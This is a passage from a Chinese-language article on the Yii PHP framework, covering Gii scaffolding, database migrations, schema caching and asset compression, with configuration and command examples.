提供了一些工具来帮助你在这些任务上花费更少的时间,把大多数时间都用在定制应用来满足你客户的需求上。其中最强大的一个工具就是“Gii”。Gii是一个基于web脚手架代码工具,它可以让你快速的创建一个代码模板如下所示:Models Controllers Forms Modules Extensions CRUD controller actions and views Gii是高度可配置的。你可以设置它只从一个特定的环境加载。简单的编辑web配置文件如下:if (YII_ENV_DEV) { // ... $config['modules']['gii'] = [ 'class' = 'yii\gii\Module', 'allowedIPs' = ['127.0.0.1', '::1'] ] } 这确保了Gii只有设置了Yii的环境变量为(development)开发环境时才加载,并且只在通过本地环境访问的时候加载。现在,让我们来看看模型的生成:表格名称使用了一个响应敲击就会显示的小窗口来尝试给出对你的模型将会关联的表格的猜测, 并且所有的域值输入框都会有一个翻转效果显示出来的提示,提醒你如何完成对它们的填写. 你可以在让Gii输出代码之前先进行一下预览, 而所有的代码模板都是完全可定制的.也有几个可以用于数据库迁移、消息翻译(I18N)以及生成用于自动化测试数据库道具的命令行辅助工具. 例如,你可以使用如下代码创建一个新的数据库迁移 文件:yii migrate/create create_user_table 这将会在 {应用目录}/migrations 创建一个新的看起来像下面这样的迁移模板:?php use yii\db\Schema; class m140924_153425_create_user_table extends \yii\db\Migration { public function up() { } public function down() { echo "m140924_153425_create_user_table cannot be reverted.\n"; return false; } } 如此假如说我想要想这个表添加一些列. 我就只要简单的将下面的代码添加到 up 方法中:public function up() { $this-createTable('user', [ 'id' = Schema::TYPE_PK, 'username' = Schema::TYPE_STRING . ' NOT NULL', 'password_hash' = Schema:: TYPE_STRING . ' NOT NULL' ], null); } 然后为了确保我可以进行迁移的逆向操作,我就会编辑down方法:public function down() { $this-dropTable('user'); } 创建表格可能就是简单的设计到在命令行上运行一个命令:./yii migrate 而删除表格是下面的这个命令:./yii migrate/down 7. 很容易通过调整获得更好的性能所有人都知道一个慢吞吞的网站会造就许多心怀不满的用户, 因此Yii为你提供了一些工具来帮助你让应用程序获得更快的速度.所有的Yii缓存组件都扩展自yii/caching/Cache, 它能让你在使用一个公共API的同时选择任意某一个缓存系统. 你甚至可以同时注册多个高速缓存组件. Yii 当前支持数据库和文件系统缓存, 还有 APC, Memcache, Redis, WinCache, XCache 以及 Zend Data Cache.默认情况下,如果你是使用的 Active Record ,那么 Yii 会额外运行一个查询来确定生成你模型的表的结构. 你可以通过像下面这样编辑你的主配置文件,对你的应用程序进行设置,以缓存这些表结构:return [ // ... 'components' = [ // ... 'db' = [ // ... 'enableSchemaCache' = true, 'schemaCacheDuration' = 3600, 'schemaCache' = 'cache', ], 'cache' = [ 'class' = 'yii\caching\FileCache', ], ], ]; 最后,Yii有一个命令行工具可以便于对前端字段进行缩小化. 简单地运行下面的命令就可以生成一个配置模板:./yii asset/template config.php 然后编辑该配置,指定你想要用那些工具来执行缩小化操作(比如. Closure Compiler, YUI Compressor, 或者 UglifyJS). 生成的配置模板如下所示:?php return [ 'jsCompressor' = 'java -jar compiler.jar --js {from} --js_output_file {to}', 'cssCompressor' = 'java -jar yuicompressor.jar --type css {from} -o {to}', 'bundles' = [ // 'yii\web\YiiAsset', // 'yii\web\JqueryAsset', ], 'targets' = [ 'app\config\AllAsset' = [ 'basePath' = 'path/to/web', 'baseUrl' = '', 'js' = 'js/all-{hash}.js', 'css' = 'css/all-{hash}.css', ], ], 'assetManager' = [ 'basePath' = __DIR__, 'baseUrl' = '', ], ]; 接下来,运行这个控制台命令以执行压缩.yii asset config.php /app/assets_compressed.php 最后,修改你的web应用程序配置文件,使用压缩后的资源.'components' = [ // ... 'assetManager' = [ 'bundles' = require '/app/assets_compressed.php' ] ] 注意: 你需要手动下载并安装这些额外的工具.